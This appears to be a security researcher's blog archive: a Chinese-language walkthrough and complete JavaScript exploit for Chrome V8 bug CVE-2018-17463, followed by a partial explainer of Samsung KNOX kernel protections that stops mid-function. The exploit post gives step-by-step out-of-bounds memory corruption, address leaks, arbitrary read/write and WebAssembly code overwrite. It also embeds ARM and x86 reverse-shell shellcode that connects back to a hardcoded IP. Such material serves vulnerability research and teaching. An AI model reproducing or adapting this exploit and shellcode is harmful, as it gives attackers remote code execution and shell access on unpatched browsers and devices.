2019-03-01

CVE-2018-17463 Chrome OOB Exploit

‎

1. CVE-2018-17463 Chrome OOB Exploit

1.1. 1.find collision

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    x2: 0x4102,
    ...
}

badCreate {
    o.a
    this.Object.create(o)
    return 对象的 x1-xn的值 [o.x1, o.x2, ..., o.xn]
}

如果 xn != 0x4100 + n 说明碰撞成功

例如循环N次中:

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    ...
}

obj 经过badCreate 返回 [
    0x4040,     // x0
    0x4041,     // x1
    0x4042,     // x2
    0x4043,     // x3
    0x4044,     // x4
    0x4042,     // x5 == obj.x2
    0x4046,     // x6
    0x4047,     // x7
    0x4048,     // x8
    ...
]

找到了碰撞的两个值 分别为 x5 和 x2

假如原来 x5 = [obj + 0x10] 触发漏洞以后 x5 = [obj + 0x10] = x2的值

即内存相同偏移的数据改变了, 当我们要获取x5的值时, 其实拿到的是x2的值, 当要写入x5的值时, 其实写到的是x2的内存

1.2. 2.relative offsets

每次执行的碰撞值是不同的,如执行三次:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x25 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x21 & x8 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x4 are collision in directory

在一次执行过程中,相同属性构造的Object,在DictionaryProperties中的偏移是相同的。

如获取一次碰撞数据之后,立即创建新的对象, 并将对象打印出来:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x6 & x9 are collision in directory
[!] set object base to 12340000
[0]: 49
[1]: 0
[2]: 128
[3]: 50
[4]: 0
[5]: x9
[6]: 12340009
[7]: 3008
[8]: x12
[9]: 12340012
....

结果显示相同位置的 x6 数据和 x9 数据发生了碰撞,与前边寻找到的碰撞偏移结果相同。

1.3. 3.array oob

当前碰撞位置为数据,如果碰撞位置为对象的话,就可以通过写操作去修改对象属性

getCleanSpace()
let oobArray = new Array(0x3)
getCleanSpace()
const oobArrayBuffer = new ArrayBuffer(0x2000)
getCleanSpace()
let oobObject = { a: 0x1111, b: 0x2222, c:0x3333 }
getCleanSpace()

创建三个相邻对象,分别为 Array, ArrayBuffer, Object, 在内存中的布局(偏移通过调试获得):

----> Array
...
+0xc:   00000006     length
+0x14:  00000006     length
...
----> ArrayBuffer
...
+0x10:  56c4b920     backing_store
...
----> Object
...
+0xc:   00002222     #a
+0x10:  00004444     #b
+0x14:  00006666     #c
...

当我们碰撞的是 Array 和 Object 时, 我们修改 Object第一个值和第三个值, 相当于修改了 Array.length, 造成 Array 越界, 从而可以控制 ArrayBuffer.backing_store的指向,以及后边的Object对象

1.4. 4.leak object

oobArray越界之后, 找到 oobObject.a 在 oobArray 中的索引 index

之后通过 设置 oobObject.a = func 可以通过 oobArray[index] 泄漏 func 对象地址

1.5. 5.rw ability

oobArray越界之后, 找到 oobArrayBuffer.backing_store 在 oobArray 中的索引 index

之后通过 设置 oobArray[index] 来改变 oobArrayBuffer.backing_store 指向

最后通过 oobArrayBuffer 的 DataView 来进行读写操作

1.6. 6.shellcode

定义WebAssembly函数, 将 shellcode 覆盖导出函数,然后执行导出函数即可

写入位置为:

JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]

1.7. 7.exe flow

egg@ubuntu:~/Working/cve-2018-17463$ ./runexp
[+] CVE-2018-17463 exists in the d8
[+] x15 & x13 are collision in directory
[*] ---------- array oob before ---------- *
[*] fArray[3]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[+] 2459 times, oob Array Length: 3 -> 16
[*] ---------- array oob after ---------- *
[*] fArray[16]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[3] 0x18: 0x4fe051b9
[3] 0x1c: 0x2a9846d1
[4] 0x20: 0x2a9846d1
[4] 0x24: 0x2000
[5] 0x28: 0x57007de0
[5] 0x2c: 0x2
[6] 0x30: 0x0
[6] 0x34: 0x0
[7] 0x38: 0x4fe09859
[7] 0x3c: 0x2a9846d1
[8] 0x40: 0x2a9846d1
[8] 0x44: 0x8282
[9] 0x48: 0x2a9841a5
[9] 0x4c: 0x12a
[10]  0x50: 0x62
[10]  0x54: 0x2a985425
[11]  0x58: 0x3a894cd1
[11]  0x5c: 0x10c80
[12]  0x60: 0x2
[12]  0x64: 0x3592e38d
[13]  0x68: 0x204c80
[13]  0x6c: 0x2
[14]  0x70: 0x3592e39d
[14]  0x74: 0x400480
[15]  0x78: 0x2
[15]  0x7c: 0x3592e3ad
[*] find index of oobArray...
[*] to fixed backing_store index 4,1
[+] backing_store index in oobArray: 5,0
[+] object index in oobArray:8,1
the gay is lazy, nothing left.
[*] WebAssembly function return: 0x41414141
[+] JSFunciton addr: 0x421a1145
[+] SharedFunctionInfo addr: 0x421a1121
[+] WasmExportedFunctionData addr: 0x421a110d
[+] WasmInstanceObject addr: 0x421a1035
[+] imported_function_targets addr: 0x5700c170
[+] rwx_entry addr: 0x2252c4e0
[*] write shellcode at rwx_entry memory: 0x2252c4e0
[*] dangerous to run shellcode...

1.8. exploit32

/*CVE-2018-17463
  Incorrect side effect annotation in V8 in Google Chrome
  prior to 70.0.3538.64 allowed a remote attacker
  to execute arbitrary code inside a sandbox via a crafted HTML page.

  adb logcat | grep chromium
*/
/*
  ---------- utils ---------- start ----------
*/
class Log {
    constructor(l, s=false){
        this.level = l
        this.syntax = s
        this.lv = {
            debug: 0,
            warn: 1,
            success: 2,
            error: 3,
        }
    }

    setLevel(l) {
        this.level = l
    }

    toString(v, l) {
        var s = v
        if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) {
            s = JSON.stringify(
                v/*,
                   function replacer(k, v) {
                   if (Math.floor(v) === v) {
                   return '0x' + v.toString(16)
                   }
                   return v
                   }*/
            )
        }

        switch(l) {
        case this.lv.debug:
            return '[*] ' + s
            break;
        case this.lv.warn:
            return '[!] ' + s
            break;
        case this.lv.success:
            return '[+] ' + s
            break;
        case this.lv.error:
            return '[-] ' + s
            break;
        default:
            return s
        }
    }

    debug(v) {
        if(this.lv.debug >= this.level ) {
            if (this.syntax) {
                eval(`;%DebugPrint(v);`)
            } else {
                console.log(this.toString(v, this.lv.debug))
            }
        }
    }

    warn(v) {
        if(this.lv.warn >= this.level ) {
            console.log(this.toString(v, this.lv.warn))
        }
    }

    success(v) {
        if(this.lv.success >= this.level ) {
            console.log(this.toString(v, this.lv.success))
        }
    }

    error(v) {
        if(this.lv.error >= this.level ) {
            console.log(this.toString(v, this.lv.error))
        }
        eval(`
            throw new Error()
        `)
    }

    break() {
        if (this.syntax) {
            eval(`;%SystemBreak();`)
        }
    }
    /*
      print float Array
    */
    fArray(a, bs=8) {
        if (this.level > this.lv.debug) {
            return
        }
        if(bs === 4) {
            console.log('[*] uArray[' + a.length + ']:')
            for(let i = 0; i < a.length; i++) {
                console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16))
            }
        } else
            if(bs === 8) {
                console.log('[*] fArray[' + a.length + ']:')
                for(let i = 0; i < a.length; i++) {
                    const [lo, hi] = funcUtils.f2u(a[i])
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16))
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16))
                }
            }
    }
}

const dlog = new Log(0, false)


const __EXPERI__ = false
const __ANDROID__ = true


var funcUtils = (
    function() {
        return {
            f2u: function(v) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                f64[0] = v
                return u32
            },

            u2f: function(lo, hi) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                u32[0] = lo
                u32[1] = hi
                return f64
            },

            utf8ToString: function(h, p) {
                let s = ""
                for (i = p; h[i]; i++) {
                    s += String.fromCharCode(h[i])
                }
                return s
            },

            /*
              find value index of float array
              if bs === 4:
              return [index, 0/1]
              if bs === 8:
              return [indxe, 0]
            */
            fArrayIndexOf: function(a, v, bs=4) {
                for(let i = 0; i < a.length; i++) {
                    if (bs === 8) {
                        if (a[i] === v) return [i, 0]
                    } else
                        if (bs === 4) {
                            const [lo, hi] = this.f2u(a[i])
                            // console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16))
                            if (lo === v) return [i, 0]
                            if (hi === v) return [i, 1]
                        }
                }
                return null
            },

            getWasmFunc: function() {
                /*
                  int hack(int x) {
                  int ret = puts("the gay is lazy, nothing left.");
                  return ret + x;
                  }
                */
                let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0])
                let wasmImports = {
                    env: {
                        puts: function puts (i32) {
                            // console.log(i32)
                            // console.log('the gay is lazy, nothing left.')
                            console.log(funcUtils.utf8ToString(h, i32))
                            return 0x41414141
                        }
                    }
                }

                let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports)
                let h = new Uint8Array(wasmInstance.exports.memory.buffer)
                return wasmInstance.exports.hack
            },

            getWasmOff: function() {
                if (__ANDROID__) {
                    // JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions
                    return [0x18, 0x40]
                } else {
                    // JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
                    return [0xc, 0x4, 0x8, 0x64, 0x0]
                }
            },

            getShellCode: function() {
                if(__ANDROID__) {
                    return [
                        /* arm32 reverse shell 192.168.0.222 12315 */
                        0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef,
                        0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a,
                        0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3,
                        0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2,
                        0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1,
                        0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3,
                        0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2,
                        0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9,
                        0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9,
                        0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9,
                        0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9,
                        0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b,
                        0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73,
                        0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
                        0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41,
                        0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e,
                        0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72,
                        0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79,
                        0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69,
                        0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65,
                        0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73,
                        0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62,
                        0x69, 0x6e, 0x00, 0x00,
                    ]
                } else {
                    return [
                        /* linux bash shell
                           0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68,
                           0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89,
                           0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80,
                        */
                        /* linux32 reverse shell 192.168.0.222 12315 */
                        0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a,
                        0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80,
                        0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68,
                        0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10,
                        0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
                        0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd,
                        0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2,
                        0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
                        0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0,
                        0x0b, 0xcd, 0x80,
                    ]
                }
            }

        }
    }
)()

function gc() {
    for(var i=0;i<(1024*1024)/16;i++){
        var a = new String()
    }
}

function getCleanSpace() {
    gc()
    gc()
    gc()
}

/*
  ---------- utils ---------- end ----------
*/

var fixedObject = (
    function() {
        let name = 'x'
        let length = 0x30
        let base = 41410000
        return {
            new: function() {
                var obj = { a: 0 }
                for(let n = 0; n < length; n++) {
                    eval(`obj.${name + n} = ${base + n};`)
                }
                return obj
            },
            attr: function() {
                var arr = []
                for (let n = 0; n < length; n++) {
                    arr[n] = name + n
                }
                return arr
            },
            init: function() {
                name = 'x'
                length = 0x30
                base = 41410000
            },
            get: function(t) {
                switch (t) {
                case 'n':
                    return name
                case 'l':
                    return length
                case 'b':
                    return base
                default:
                    return ''
                }
            },
            set: function(t, v) {
                switch (t) {
                case 'n':
                    name = v
                    break
                case 'l':
                    length = v
                    break
                case 'b':
                    base = v
                    break
                default:
                    break
                }
            },
            oob: function(X, Y, oa) {
                /*
                  collision: X, Y
                  oobArray: oa
                */
                var obj = { a: 0 }
                const x = name
                for(let n = 0; n<length; n++) {
                    if((x + n) == X) {
                        eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`)
                    } else if ((x + n) == Y) {
                        eval(`obj.${Y} = { y: oa }`)
                    } else {
                        eval(`obj.${x + n} = {}`)
                    }
                }
                return obj
            }
        }
    }
)()

function findCollision() {
    const attrs = fixedObject.attr()
    const base = fixedObject.get('b')
    const name = fixedObject.get('n')
    const len = fixedObject.get('l')

    // the Collision values for [x, y]
    var COVS = new Array(2)

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            ${attrs.map((v) => `let ${v} = o.${v};`).join('\n')}
            return [${attrs.join(', ')}];
        }
    `)

    for (let i = 0; i < 10000; i++) {
        // get bad object attr values.
        let av = badCreate(fixedObject.new())
        // dlog.debug(i + ': ' + av)
        for (let j = 0; j < av.length; j++) {
            if(av[j] != j + base && av[j] > base && av[j] < base + len ){
                // dlog.debug(i + ': ' + av[j] + ' Array=> ' + av)
                COVS[0] = name + j
                COVS[1] = name + (av[j] - base)
                // dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory")
                dlog.break()

                if(__EXPERI__) {
                    // debug to check Relative offset
                    fixedObject.set('b', 12340000)
                    dlog.warn('set object base to ' + fixedObject.get('b'))
                    obj = fixedObject.new()
                    av = badCreate(obj)
                    fixedObject.print(av)
                }

                return COVS
            }
        }
    }
    dlog.error('collision not found!')
    return false
}

function oobArrayLength(cols, oobArray, oobLen){
    /*
      cols: 碰撞的两个对象
      oobArray: 需要修改长度的Array对象
    */
    const orgLen = oobArray.length
    const [X, Y] = cols

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            // let ret = o.${X}.x.x1
            o.${X}.x.x1 = oobLen
            o.${X}.x.x3 = oobLen
            // return ret
        }
    `)
    for (let i = 0; i < 10000; i++) {
        // let ret =
        badCreate(fixedObject.oob(X, Y, oobArray))
        // dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length)
        // if(ret != 4141) {
        if(oobArray.length != orgLen) {
            dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length)
            return oobArray.length
        }
    }
    dlog.error('oob Array Length failed!')
}


function checkVul(){
    function badCreate(o) {
        o.a // = 0x10
        Object.create(o)
        return o.b
    }
    for (let i = 0; i < 10000; i++) {
        let obj = { a: 0x1 }
        obj.b = 0x4141
        obj.c = 0x3
        obj.d = 0x4
        obj.e = 0x5
        // r = obj元素个数
        const r = badCreate(obj)
        // console.log(i + ' bad.b=0x' + r.toString(16))
        if ( r !== 0x4141 ) {
            // dlog.success(i + ': ' + r + '!=' + obj.b)
            // console.log("CVE-2018-17463 exists in the d8")
            return true
        }
    }
    return false
}

function wasmFunc() {

}

function exploit() {
    if(checkVul()) {
        dlog.success('CVE-2018-17463 exists in the d8')
    } else {
        dlog.error('CVE-2018-17463 not exists in the d8')
        return false
    }

    getCleanSpace()

    let oobArray = new Array(0x3)
    oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0)
    oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0)
    oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0)
    getCleanSpace()

    let oobLen = 0x2000
    let oobArrayBuffer = new ArrayBuffer(oobLen)
    getCleanSpace()

    let oobObj = { a: 0x4141 }
    getCleanSpace()

    const cols = findCollision()
    dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory")

    dlog.debug('---------- array oob before ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    oobArrayLength(cols, oobArray, 0x10)
    dlog.debug('---------- array oob after ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    /* uArray
       [*] fArray[16]:
       [0]  0x0:  0x40404040
       [0]  0x4:  0x0
       [1]  0x8:  0x41414141
       [1]  0xc:  0x0
       [2]  0x10: 0xdeadbeef
       [2]  0x14: 0x0
       [3]  0x18: 0x28b04101
       [3]  0x1c: 0x30
       [4]  0x20: 0x25399731
       [4]  0x24: 0xcccccccc
       [5]  0x28: 0xcccccccc
       [5]  0x2c: 0xcccccccc
       [6]  0x30: 0x50e851b9
       [6]  0x34: 0x28b046d1
       [7]  0x38: 0x28b046d1
       [7]  0x3c: 0x2000
       [8]  0x40: 0x57556db0
       [8]  0x44: 0x2
       [9]  0x48: 0x0
       [9]  0x4c: 0x0
       [10] 0x50: 0x50e89949
       [10] 0x54: 0x28b046d1
       [11] 0x58: 0x28b046d1
       [11] 0x5c: 0x8282
       [12] 0x60: 0x28b072e9
       [12] 0x64: 0x3c585d6d
       [13] 0x68: 0x28b042ed
       [13] 0x6c: 0x0
       [14] 0x70: 0x0
       [14] 0x74: 0x28b042ed
       [15] 0x78: 0x4
       [15] 0x7c: 0x28b042ed
    */
    dlog.debug('find index of oobArray...')
    let backingStoreIndex = []
    let objectIndex = []

    // in release will 0x4000
    let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen)
    if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2)
    if (alIndex === null) {
        dlog.error('find backing_store index failde!')
        return false
    } else {
        dlog.debug('to fixed backing_store index ' + alIndex)
    }
    /*
      [5, 1] -> [6, 0]
      [5, 0] -> [5, 1]
    */

    backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2]
    dlog.success('backing_store index in oobArray: ' + backingStoreIndex)

    findV = oobObj.a * 2
    objectIndex = funcUtils.fArrayIndexOf(oobArray, findV)
    dlog.success('object index in oobArray:' + objectIndex)

    function addrOf(obj) {
        /*
          read obj point by oobArray
        */
        oobObj.a = obj
        const [index ,off] = objectIndex
        return funcUtils.f2u(oobArray[index])[off]
    }

    function unit32RW(address, type=1, value=0) {
        /*
          read/write value/array by oobArray.backing_store
          1: read
          2: write
        */
        const [index ,off] = backingStoreIndex
        const [org0, org1] = funcUtils.f2u(oobArray[index])
        let f64 = 0
        if (off === 0) {
            [f64] = funcUtils.u2f(address, org1)
        } else
            if (off === 1) {
                [f64] = funcUtils.u2f(org0, address)
            }
        oobArray[index] = f64
        // dlog.fArray(oobArray)

        var dv = new DataView(oobArrayBuffer)
        if(type === 1) {
            return dv.getUint32(0, true)
        } else
            if (type === 2) {
                if (value.__proto__ === Array.prototype) {
                    for(let i = 0; i < value.length; i++) {
                        dv.setUint32(i, value[i], true)
                    }
                } else
                    if (value.__proto__ === Number.prototype) {
                        dv.setUint32(0, value, true)
                    }
            }
    }

    const f = funcUtils.getWasmFunc()
    dlog.debug('WebAssembly function return: 0x' + f().toString(16))

    const JSFunciton = addrOf(f)
    dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16))

    let wasmOff = funcUtils.getWasmOff()
    let rwx_entry = 0

    if (__ANDROID__) {
        const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0])
        dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16))

        const js2WasmIns = js2WasmCode-1 + wasmOff[1]
        dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16))

        rwx_entry = js2WasmIns

    } else {
        const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0])
        if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0')
        dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16))

        const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1])
        if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0')
        dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16))

        const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2])
        if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0')
        dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16))

        let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3])
        if(imported_function_targets === 0) dlog.error('imported_function_targets = 0')
        dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16))
        /*
          if(true) {
          let rv = 0
          for(let i = 0; i < 0x10; i++) {
          rv = unit32RW(imported_function_targets + i * 4)
          dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16))
          }
          }
        */
        rwx_entry = unit32RW(imported_function_targets + wasmOff[4])
    }

    if(rwx_entry === 0) dlog.error('rwx_entry = 0')
    dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16))

    dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16))
    let shellcode = funcUtils.getShellCode()
    unit32RW(rwx_entry, 2, shellcode)

    dlog.debug('dangerous to run shellcode...')
    f()
}

exploit()


Author: idhyt

Created: 2019-03-02 Thu 15:11

Validate

2018-07-16

Samsung KNOX Protect and Bypass

‎

1. Samsung KNOX Protect and Bypass

1.1. KASLR

debug 接口泄漏内核地址

1.2. Real-time kernel protection (RKP)

Linux kernel and secure world 的接口,通过 rpk_call() 调用

  1. 阻止未经授权的特权代码运行
  2. 阻止用户进程直接访问内核数据
  3. 监控一些危险内核数据结构并检测他们是不是被利用或攻击了

    敏感操作全部由 rpk_call 调用实现,

    1. cred 操作: (copy_creds, commit_creds, rkp_override_creds…)
    2. 内存操作: (exec_mmap, allocate_slab, …)
    3. 执行操作: (execve…)
    4. 页表操作: (rkp_assign_pgd, set_pte, set_pmd, set_pud, …)
    5. mount 操作: (do_new_mount, …)

1.2.1. Kernel code protection

内核在编译的时候都开启了"KERNEL_TEXT_RDONLY", ".text"节区就不可写了, ".data"节区不可执行. 用户代码不能在内核模式下运行(PXN).

1.2.2. Kernel page and page table protection

RKP 为敏感的内核数据和对象提供只读内核页面,只能通过 secure world 来申请,释放,来操作他们的内核页面。这些页的表项应该不会受到页属性篡改的影响。

当内核必须访问受到保护的 PGD/PTE/PMD/PUD,相关函数时,将使用 rpk_call()函数来进入 secure world 来完成

static inline void set_pte(pte_t *ptep, pte_t pte)
{
#ifdef CONFIG_TIMA_RKP
  if (pte && rkp_is_pg_dbl_mapped((u64)(pte)) ) {
    panic("TIMA RKP : Double mapping Detected pte = 0x%llx ptep = %p",(u64)pte, ptep);
    return;
  }
  if (rkp_is_pg_protected((u64)ptep)) {
    rkp_call(RKP_PTE_SET, (unsigned long)ptep, pte_val(pte), 0, 0, 0);
  } else {
    asm volatile("mov x1, %0\n"
                 "mov x2, %1\n"
                 "str x2, [x1]\n"
                 :
                 : "r" (ptep), "r" (pte)
                 : "x1", "x2", "memory" );
    if (pte_valid_not_user(pte)) {
      dsb(ishst);
      isb();
    }
  }
#else
  *ptep = pte;

#endif /* CONFIG_TIMA_RKP */
}

1.2.3. Kernel data protection

内核数据保护基于页保护, 许多危险的全局变量都会放在".rkp.prot.page"节里, 这个节的页面在内核初始化之后是不能被覆盖的.

#define RKP_RO_AREA __attribute__((section (".rkp.prot.page")))


android_kernel_samsung_g9550\fs\namespace.c:
  73: RKP_RO_AREA struct super_block *sys_sb;
  74: RKP_RO_AREA struct super_block *rootfs_sb;

android_kernel_samsung_g9550\include\linux\security.h:
  85: #define RKP_RO_AREA __attribute__((section (".rkp.prot.page")))

android_kernel_samsung_g9550\init\main.c:
  253: RKP_RO_AREA unsigned int is_boot_recovery = 0;

android_kernel_samsung_g9550\kernel\cred.c:
  43: RKP_RO_AREA int rkp_cred_enable = 0;
  44: RKP_RO_AREA int is_recovery = 0;
  ...
  85   * The initial credentials for the initial task
  86   */
  87: RKP_RO_AREA struct cred init_cred = {
  88   .usage			= ATOMIC_INIT(4),
  89  #ifdef CONFIG_DEBUG_CREDENTIALS

android_kernel_samsung_g9550\security\selinux\hooks.c:
  110  #include<linux/rkp_entry.h>
  111
  112: RKP_RO_AREA struct task_security_struct init_sec;
  ...
  181
  182  #ifdef CONFIG_SECURITY_SELINUX_DEVELOP
  183: RKP_RO_AREA int selinux_enforcing;
  184
  185  static int __init enforcing_setup(char *str)
  ...
  200
  201  #ifdef CONFIG_SECURITY_SELINUX_BOOTPARAM
  202: RKP_RO_AREA int selinux_enabled = CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE;
  203
  204  static int __init selinux_enabled_setup(char *str)
  ...
  217  __setup("selinux=", selinux_enabled_setup);
  218  #else
  219: RKP_RO_AREA int selinux_enabled = 1;
  220  #endif
  221
  ...
6950  #endif
6951
6952: RKP_RO_AREA static struct security_hook_list selinux_hooks[] = {
6953   LSM_HOOK_INIT(binder_set_context_mgr, selinux_binder_set_context_mgr),
6954   LSM_HOOK_INIT(binder_transaction, selinux_binder_transaction),



1.2.4. Kernel object protection

内核堆上的对象受到 RKP 保护

#define CRED_JAR_RO "cred_jar_ro"    //  credential of processes
#define TSEC_JAR  "tsec_jar"    // security context
#define VFSMNT_JAR  "vfsmnt_cache"    // struct vfsmount – mount namespace

static struct page *allocate_slab(struct kmem_cache *s, gfp_t flags, int node)
{
  // ...

#ifdef CONFIG_RKP_KDP
  if (s->name &&
      (!strcmp(s->name, CRED_JAR_RO) ||
       !strcmp(s->name, TSEC_JAR)||
       !strcmp(s->name, VFSMNT_JAR))) {
  }
  virt_page = rkp_ro_alloc();

  // ...
#endif
  // ...
}

这些内核对象在内核或用户模式下都是只读的, 申请, 释放和覆盖都是在 secure world 内完成的.

/**
 * override_creds - Override the current process's subjective credentials
 * @new: The credentials to be assigned
 *
 * Install a set of temporary override subjective credentials on the current
 * process, returning the old set for later reversion.
 */
const struct cred *rkp_override_creds(struct cred **cnew)
{
  const struct cred *old = current->cred;
  struct cred *new = *cnew;
  struct cred *new_ro;
  volatile unsigned int rkp_use_count = rkp_get_usecount(new);
  void *use_cnt_ptr = NULL;
  void *tsec = NULL;

  kdebug("override_creds(%p{%d,%d})", new,
         atomic_read(&new->usage),
         read_cred_subscribers(new));

  validate_creds(old);
  validate_creds(new);

  if(rkp_cred_enable) {
    cred_param_t cred_param;
    new_ro = kmem_cache_alloc(cred_jar_ro, GFP_KERNEL);
    if (!new_ro)
      panic("override_creds(): kmem_cache_alloc() failed");

